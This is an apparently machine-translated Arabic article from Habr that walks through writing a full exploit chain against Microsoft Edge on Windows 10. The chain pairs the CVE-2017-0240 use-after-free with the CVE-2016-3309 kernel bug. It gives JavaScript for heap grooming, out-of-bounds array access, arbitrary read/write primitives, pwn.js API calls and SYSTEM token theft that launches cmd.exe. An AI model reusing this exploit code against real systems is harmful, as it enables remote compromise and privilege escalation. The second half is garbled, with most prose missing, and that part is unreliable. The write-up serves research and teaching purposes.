Microsoft Edge من CVE إلى RCE على نظام التشغيل Windows 10

مقدمة


في إطار هذه المقالة ، سننظر بتفصيل كاف في عملية كتابة استغلال لثغرة أمنية في Microsoft Edge ، مع الخروج اللاحق من صندوق الحماية. إذا كنت مهتمًا بمعرفة شكل هذه العملية ، فمرحباً بك!


مقدمة


في أحدث Pwn2Own 2019 في مونتريال ، في فئة المتصفحات ، تم عرض استغلال للقرصنة Microsoft Edge . تم استخدام ثغرات اثنين لهذا: double free في العارض والضعف المنطقي للخروج من رمل. تم إغلاق هذه الثغرات الأمنية مؤخرًا وتعيين CVE المطابق لها: CVE-2019-0940 و CVE-2019-0938 . يمكنك قراءة المزيد حول الثغرات الأمنية في المدونة: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). الجزء 1 و Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). الجزء 2 .


كجزء من مقالتنا ، نريد إظهار عملية كتابة مثل هذا الاستغلال وكم من الوقت والموارد اللازمة لذلك باستخدام مثال Microsoft Edge على Windows 10 باستخدام CVE-2017-0240 و CVE-2016-3309 . أحد الاختلافات هو أنه إذا كان الاستغلال Pwn2Own على Pwn2Own استخدم ثغرة أمنية منطقية للخروج من Pwn2Own استخدام الثغرة الأمنية في نواة Windows 10 للخروج من Pwn2Own في السيناريو الخاص بنا. كما تظهر التصحيحات من Microsoft ، هناك نقاط ضعف في النواة أكثر بكثير من نقاط الضعف في تطبيق الصندوق الرمل. نتيجة لذلك ، من المرجح أن تواجه مثل هذه السلسلة من الثغرات الأمنية ، وسيكون من المفيد أن تعرف لموظفي IS في الشركات.


مصدر البيانات


ستغطي هذه المقالة عملية كتابة استغلال ليوم واحد لمتصفح Microsoft Edge . سيتم تشغيل CVE-2017-0240 . سيتم تنفيذ المرحلة الأولى من العملية على أساس مواد من المصدر [1] ، arbitrary address read/write البدائية ، وكذلك التعرف على التقنيات المختلفة التي قد تكون مفيدة عند استغلال هذه الثغرات الأمنية. بعد ذلك ، سوف نقدم لك أداة pwn.js ، والتي سوف تساعدك في الحصول على دعوة للوظائف التعسفية القائمة على القراءة والكتابة التعسفية ، pwn.js أيضًا في العديد من وسائل mitigations وطرق تجاوزها. في المرحلة الأخيرة ، سيتم استغلال CVE-2016-3309 حصانة kernel لـ Windows CVE-2016-3309 لزيادة الامتيازات وتجاوز قيود AppContainer والتحكم الكامل في الجهاز الذي تمت مهاجمته.


سيتم تنفيذ العملية في الحامل باستخدام Microsoft Windows 10 Pro 1703 (10.0.15063) Microsoft Edge (40.15063.0.0) .


الخطوة 1. الحصول على arbitrary address read/write البدائية


وصف الضعف والوصول إلى OOB


توجد ثغرة أمنية في حالة use-after-free type use-after-free في طريقة copyFromChannel الخاصة بالكائن Audio Buffer .


AudioBuffer هي واجهة مادة عرض صوتية قصيرة موجودة في الذاكرة ويتم إنشاؤها من ملف صوتي باستخدام طريقة AudioContext.decodeAudioData () ، أو من البيانات المصدر باستخدام طريقة AudioContext.createBuffer (). يمكن تشغيل بيانات الصوت الموضوعة في AudioBuffer في AudioBufferSourceNode.

يوفر العرض التقديمي الخاص The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 لضعف The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 تحليلاً مفصلاً لثغرة أمنية والتصحيح. عند copyFromChannel الأسلوب copyFromChannel ، يتم نسخ محتويات قناة المخزن المؤقت الصوتي إلى المخزن المؤقت destination المحدد بواسطة الوسيطة الأولى. تقبل الطريقة أيضًا رقم القناة ( channelNumber ) والإزاحة في المخزن المؤقت الصوتي ( startInChannel ) ، بدءًا من النسخ الضروري. قبل نسخ البيانات مباشرة إلى destination في الدالة CDOMAudioBuffer::Var_copyFromChannel ، يتم تخزين المخزن المؤقت المؤقت مؤقتًا (يتم تخزين عنوان وحجم المخزن المؤقت في متغيرات دالة محلية على المكدس) startInChannel قيم الكائن startInChannel و startInChannel إلى نوع Int ، والتي يتم من خلالها valueOf أسلوب valueOf للكائنات المحولة. مشكلة عدم الحصانة هي أنه يمكن تحرير مخزن مؤقت مؤقتاً في وقت تحويل النوع في الأسلوب valueOf للكائن valueOf . للتحقق ، نستخدم الكود التالي:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

يستخدم هذا الرمز تقنية Web Workers لتحرير المخزن المؤقت. بعد إنشاء Worker فارغ ، يمكننا إرسال رسالة إليه باستخدام طريقة postMessage . تأخذ وسيطة transfer الاختيارية الثانية في هذه الطريقة صفيفًا من الكائنات Transferable ( ArrayBuffer أو MessagePost أو ImageBitmap ) ، وسيتم نقل حقوق الكائن إلى Worker ولن يصبح الكائن متاحًا في السياق الحالي ، وبالتالي يمكن حذفه. بعد ذلك ، تحدث دعوة sleep - وهي وظيفة تتوقف مؤقتًا عن تنفيذ البرنامج (يتم تنفيذه بشكل مستقل). يعد ذلك ضروريًا حتى يتمكن نظام تجميع البيانات المهملة ( GC ، Garbage Collector ) من تحرير المخزن المؤقت الذي تم نقل الحقوق إليه.


يوفر عمال الويب وسيلة بسيطة لتشغيل البرامج النصية في مؤشر ترابط الخلفية. يمكن أن يؤدي مؤشر ترابط العامل المهام دون التداخل مع واجهة المستخدم. بالإضافة إلى ذلك ، يمكنهم القيام بإدخال / إخراج باستخدام XMLHttpRequest (على الرغم من أن صفات responseXML والقناة ستكون دائمًا خالية). يمكن للعامل الحالي إرسال رسائل JavaScript إلى رمز المنشئ من خلال معالج الأحداث المحدد بواسطة هذا الرمز (والعكس).

عن طريق تشغيل هذا الرمز في Edge تحت مصحح الأخطاء ، يمكنك الحصول على التعطل التالي.


الخطوة 01 تحطم الطائرة


نتيجة لذلك ، يحاول استدعاء copyFromChannel نسخ محتويات المخزن المؤقت الصوت في منطقة الذاكرة غير المخصصة. لاستغلال مشكلة عدم الحصانة ، من الضروري تحقيق تخصيص أي كائنات في منطقة الذاكرة هذه. في هذه الحالة ، تكون شريحة الصفيف مثالية.


يتم ترتيب المصفوفات في Chakra (محرك JS المستخدم في مستعرض Edge ) على النحو التالي: كائن الصفيف له حجم ثابت ، ويتم تخزين مؤشرات كائنات الصفيف (أو القيم ، في حالة IntArray ) في منطقة ذاكرة منفصلة - المقطع ، المؤشر الموجود في الكائن مجموعة. يحتوي رأس المقطع على معلومات متنوعة ، بما في ذلك حجم القطعة ، والذي يتوافق مع حجم المصفوفة. حجم الصفيف موجود أيضًا في كائن الصفيف نفسه. بشكل تخطيطي ، يبدو كما يلي:


هيكل صفيف


وبالتالي ، إذا تمكنا من تحديد مقطع الصفيف في المساحة التي تم تحريرها مسبقًا ، فيمكننا الكتابة فوق رأس مقطع الصفيف بمحتويات المخزن المؤقت الصوتي. للقيام بذلك ، نقوم بتعديل الرمز أعلاه عن طريق إضافة الأسطر التالية بعد sleep(1000); :


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

يتم تحديد حجم الصفائف بحيث يحتل حجم مقطع الصفيف مقطع الكومة بأكمله (الحد الأدنى للجزء غير قابل للتجزئة من ذاكرة الكومة ، حجمه 0x10000 بايت). قم بتشغيل هذا الرمز ، مع تحديد وظيفة memcpy كنقطة توقف (سيكون هناك العديد من مكالمات memcpy ، لذلك فمن المنطقي أن تتوقف أولاً عند edgehtml!WebCore::AudioBufferData::copyBufferData ) ، التي وقع فيها الحادث. نحصل على النتيجة التالية:


الخطوة 02


! ممتاز الآن يمكننا الكتابة فوق رأس مقطع الصفيف بقيمنا الخاصة. القيم الأكثر إثارة للاهتمام في هذه الحالة هي حجم المصفوفة ، والتي يمكن أن نرى الإزاحة في لقطة الشاشة أعلاه. تغيير محتويات المخزن المؤقت الصوت كما يلي:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

انتبه إلى قيمتي ta2[14] و ta2[15] - وهما يشيران بالفعل إلى رأس المقطع ، لكن إلى قيم الصفيف نفسها. باستخدام هذا ، يمكننا تحديد الصفيف الذي نحتاجه في صفيف arr العالمي على النحو التالي:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

إذا تم العثور على مجموعة نتيجة لذلك ، تم تغيير أول عنصرين بطريقة معينة ، فكل شيء على ما يرام. الآن لدينا مجموعة حجمها أكبر من حجمها في الواقع. يمكن تحرير الصفائف المتبقية.


من الضروري هنا أن تتذكر أن حجم المصفوفة موجود في كيانين: في كائن المصفوفة ، حيث بقي دون تغيير ، وفي مقطع المصفوفة ، حيث قمنا بزيادةه. اتضح أن الحجم في كائن الصفيف يتم تجاهله إذا تم تنفيذ الرمز في وضع JIT وتم تحسينه. يمكن تحقيق ذلك بسهولة ، على سبيل المثال ، على النحو التالي:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

بعد ذلك ، باستخدام arr_get و arr_set يمكنك تجاوز حدود المصفوفة ( OOB ، out-of-bound ).


استخدام OOB للحصول على بدائية القراءة والكتابة إلى عنوان تعسفي


في هذا القسم ، نأخذ بعين الاعتبار أسلوبًا يتيح لك قراءة عنوان تعسفي والكتابة إليه باستخدام OOB . ستكون الطريقة التي نحصل عليها بهذا مماثلة للطريقة المستخدمة في المصدر [1] ، ولكن سيكون هناك أيضًا تغييرات كبيرة.


في الإصدار المستخدم من Edge يتم تخصيص كتل الذاكرة للكوامب بشكل تسلسلي ، وذلك لأنه عند تخصيص عدد كبير من أي كائنات ، ستكون عاجلاً أم آجلاً بعد شريحة الصفيف ، والتي يمكننا بعدها الانتقال.


أولاً ، يمنحنا القدرة على قراءة مؤشر إلى جدول ظاهري لأساليب الكائن ( vftable ) ، حتى نتمكن من تجاوز العشوائية لمساحة عنوان العملية ( ASLR ). ولكن الوصول إلى الأشياء التي سوف تساعدنا على تحقيق القراءة والكتابة التعسفي؟ زوجان من الكائنات DataView كبيرة لهذا الغرض.


يوفر DataView واجهة منخفضة المستوى لقراءة وكتابة أنواع رقمية متعددة في ArrayBuffer ثنائي ، بغض النظر عن ترتيب بايت النظام الأساسي.

يحتوي الهيكل الداخلي لـ DataView على مؤشر إلى مخزن مؤقت. للقراءة والكتابة إلى عنوان عشوائي ، على سبيل المثال ، يمكننا إنشاء سلسلة من DataView ( dv1 و dv2 ) على النحو التالي: مثل المخزن المؤقت dv1 حدد العنوان dv2 عن طريق الوصول إلى الصفيف. الآن باستخدام dv1 يمكننا تغيير عنوان المخزن المؤقت dv2 ، بسبب تحقيق القراءة والكتابة التعسفية. من الناحية التخطيطية ، يمكن تمثيل ذلك على النحو التالي:


عنوان تعسفي القراءة / الكتابة


لاستخدام هذه الطريقة ، تحتاج إلى معرفة كيفية تحديد عناوين الكائنات في الذاكرة. للقيام بذلك ، توجد التقنية التالية: تحتاج إلى إنشاء Array جديد ، استخدم OOB لحفظ vftable و typeId (أول حقلين 64 بت من البنية) وتعيين الكائن الذي يهم العنوان للعنصر الأول من الصفيف. بعد ذلك ، يجب استعادة typeId و vftable المحفوظة مسبقًا. الآن يمكن الحصول على الكلمة المزدوجة والكبيرة من عنوان الكائن بالرجوع إلى العنصر الأول والثاني من الصفيف. والحقيقة هي أن المصفوفة الجديدة هي IntArray ، IntArray ، ويتم تخزين قيم المصفوفة 4 بايت في IntArray كما هي. عند تعيين كائن إلى صفيف ، يتم تحويل الصفيف إلى ObjectArray ، ويتم استخدام الجزء الخاص به لتخزين عناوين الكائنات. التحويل يتغير vftable و typeId . وفقًا لذلك ، إذا vftable القيم الأصلية vftable و typeId ، من خلال عناصر هذه المجموعة ، يمكننا الوصول إلى الشريحة مباشرةً. يمكن تمثيل العملية الموصوفة تخطيطيًا كما يلي:


تسرب المؤشر


ستبدو وظيفة الحصول على العنوان كما يلي:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

يبقى السؤال المفتوح هو إنشاء الأشياء الضرورية والبحث عنها باستخدام OOB . كما ذكرنا سابقًا ، عند تخصيص عدد كبير من الكائنات ، ستبدأ عاجلاً أم آجلاً في الظهور بعد شريحة الصفيف ، والتي يمكننا بعدها الانتقال. للعثور على الكائنات الضرورية ، تحتاج فقط إلى استعراض المؤشرات خارج الصفيف بحثًا عن الكائنات الضرورية. لأن توجد جميع الكائنات من نفس النوع في جزء واحد من الكومة ، ويمكنك تحسين البحث 0x10000 مقاطع الكومة في الزيادات 0x10000 ، والتحقق من القيم القليلة الأولى فقط من بداية كل قطعة من الكومة. لتحديد الكائنات ، يمكنك تعيين قيم فريدة لبعض المعلمات (على سبيل المثال ، بالنسبة لـ DataView ، يمكن أن يكون byteOffset ) ، أو باستخدام الثوابت المعروفة بالفعل في بنية الكائن (على سبيل المثال ، في الإصدار المستخدم من Edge في IntArray ، توجد القيمة 0x10005 دائمًا في 0x18 ).


من خلال الجمع بين جميع التقنيات المذكورة أعلاه ، يمكنك الحصول على القراءة والكتابة إلى عنوان تعسفي. يوجد أدناه لقطة من قراءة كائنات الذاكرة DataView .


تسرب الذاكرة


الخطوة 2. أداء وظائف API التعسفي


في هذه المرحلة ، تمكنا من قراءة والكتابة إلى عنوان عشوائي داخل عملية عرض محتوى Edge . النظر في التقنيات الرئيسية التي ينبغي أن تتداخل مع مزيد من التشغيل للتطبيق والحلول الخاصة بهم. لقد سبق أن كتبنا سلسلة قصيرة من المقالات app specific security mitigation ( الجزء 1 ، المقدمة ، الجزء 2 ، Internet Explorer و Edge ، الجزء 3 ، Google Chrome ) ، ولكن ضع في اعتبارك أن المطورين لا يقفوا صامدين ويضيفون أدوات جديدة إلى منتجاتهم الحماية.


العشوائية مساحة العنوان ( ASLR )


ASLR (التوزيع العشوائي لمساحة العنوان باللغة الإنجليزية) هي تقنية مستخدمة في أنظمة التشغيل والتي تغير موقع هياكل البيانات المهمة بشكل عشوائي في مساحة عنوان العملية ، وهي: صور الملفات القابلة للتنفيذ ، المكتبات المحملة ، أكوام الذاكرة ومكدس.

في الأعلى ، تعلمنا قراءة عناوين جداول الفصول الافتراضية ، باستخدامها ، يمكننا بسهولة حساب العنوان الأساسي Chakra.dll ، لذلك لا يمثل ASLR مشاكل لمزيد من التشغيل.


حماية تنفيذ البيانات ( DEP ، NX )


Data Execution Prevention (DEP) هي ميزة أمان مضمنة في Linux و Mac OS X و Android و Windows تمنع تطبيق من تنفيذ تعليمات برمجية من منطقة ذاكرة تحمل علامة "بيانات فقط". ستمنع بعض الهجمات ، والتي ، على سبيل المثال ، حفظ التعليمات البرمجية في مثل هذه المنطقة باستخدام تجاوزات المخزن المؤقت.

طريقة واحدة حول هذه الحماية هي استدعاء VirtualAlloc باستخدام سلاسل ROP . ولكن في حالة Edge لن تنجح هذه الطريقة بسبب ACG (انظر أدناه).


التحكم في تدفق الحرس ( CFG )


CFG هي آلية حماية تهدف إلى تعقيد عملية استغلال الثغرات الأمنية الثنائية في تطبيقات وضع المستخدم والنواة. يتمثل عمل هذه الآلية في التحقق من صحة المكالمات غير المباشرة ، والتي تمنع المهاجم من اعتراض سلسلة عمليات التنفيذ (على سبيل المثال ، عن طريق الكتابة فوق جدول الوظائف الافتراضية)

تتحكم هذه التقنية في المكالمات غير المباشرة فقط ، على سبيل المثال ، استدعاءات الطريقة من الجدول الظاهري لوظائف الكائن. لا يتم التحكم في عناوين المرتجعات الموجودة في المجموعة ، ويمكن استخدام هذا لإنشاء سلاسل ROP . قد يعوق الاستخدام المستقبلي لسلاسل ROP/JOP/COP بواسطة Intel الجديدة: تقنية Control-flow Enforcement Technology ( CET ). هذه التكنولوجيا تتكون من جزأين:


  1. Shadow Stack (مكدس shadow) - يستخدم للتحكم في عناوين الإرجاع ويحمي من سلاسل ROP ؛
  2. Indirect Branch Tracking هو وسيلة للحماية ضد سلاسل JOP/COP . إنه تعليمة ENDBRANCH جديدة ، والتي ENDBRANCH جميع عناوين النقل الصالحة لتعليمات call و jmp .

حارس رمز التعسفي ( ACG )


ACG هي تقنية تمنع إنشاء الشفرة الديناميكية (يُمنع تخصيص مساحات الذاكرة rwx باستخدام VirtaulAlloc ) وتعديلاتها (من المستحيل VirtaulAlloc منطقة الذاكرة المتاحة للتنفيذ)

هذه الحماية ، مثل CFG ، لا تمنع استخدام سلاسل ROP .


AppContainer العزلة


AppContainer هي إحدى تقنيات Microsoft التي تسمح لك بعزل العملية عن طريق تشغيلها في بيئة وضع الحماية فيها. تقيد هذه التقنية وصول العملية إلى بيانات الاعتماد والأجهزة ونظام الملفات والشبكة والعمليات الأخرى والنوافذ وتهدف إلى تقليل قدرات البرامج الضارة التي لديها القدرة على تنفيذ تعليمات برمجية عشوائية في أي عملية.

هذه الحماية تعقد عملية العملية إلى حد كبير. بسبب ذلك ، لا يمكننا استدعاء ملفات قابلة للتنفيذ تابعة لجهة خارجية أو الوصول إلى معلومات المستخدم الحساسة في الذاكرة أو على الأقراص. ومع ذلك ، يمكن التغلب على هذه الحماية من خلال استخدام الثغرات الأمنية في تطبيق رمل AppContainer أو عن طريق زيادة الامتيازات من خلال استغلال الثغرات الأمنية في نواة نظام التشغيل.


تجدر الإشارة إلى أن Microsoft لديها برنامج مكافأة منفصل لتقنيات التحايل على تقنيات security mitigation . يشير البرنامج إلى أن إعادة استخدام التعليمات البرمجية القابلة للتنفيذ (بناء سلاسل ROP تعد تنوعًا لهذه التقنية) لا تندرج تحت البرنامج ، لأن هي قضية المعمارية.


باستخدام pwn.js


من تحليل جميع تقنيات الأمان ، يتبع ذلك لكي تكون قادرًا على تنفيذ تعليمات برمجية عشوائية ، تحتاج إلى تجاوز رمل AppContainer . في هذه المقالة ، نصف طريقة تستخدم ثغرة أمنية في Windows kernel. في هذه الحالة ، يمكننا فقط استخدام سلاسل JS ROP . قد يكون من الصعب للغاية كتابة استغلال للنواة باستخدام سلاسل ROP فقط. لتبسيط هذه المهمة ، يمكنك العثور على مجموعة من الأدوات الذكية التي يمكننا من خلالها استدعاء أساليب WinAPI الضرورية. لحسن الحظ ، تم تنفيذ ذلك بالفعل في مكتبة pwn.js باستخدامه ، بعد وصف وظائف القراءة والكتابة فقط read write بشكل تعسفي ، يمكنك الحصول على API ملائمة للعثور على وظائف WinAPI الضرورية والاتصال بها. يوفر pwn.js أيضًا أداة مناسبة للعمل باستخدام قيم ومؤشرات وأدوات 64 بت للعمل مع الهياكل.


النظر في مثال بسيط. في الخطوة السابقة ، حصلنا على سلسلة من اثنين من DataView ذات الصلة. لإعداد الاستغلال ، يجب عليك إنشاء الفصل التالي:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


PWNED


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI — Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Final


YouTube , Microsoft Edge.


يؤدي


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .



  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/ar455594/


All Articles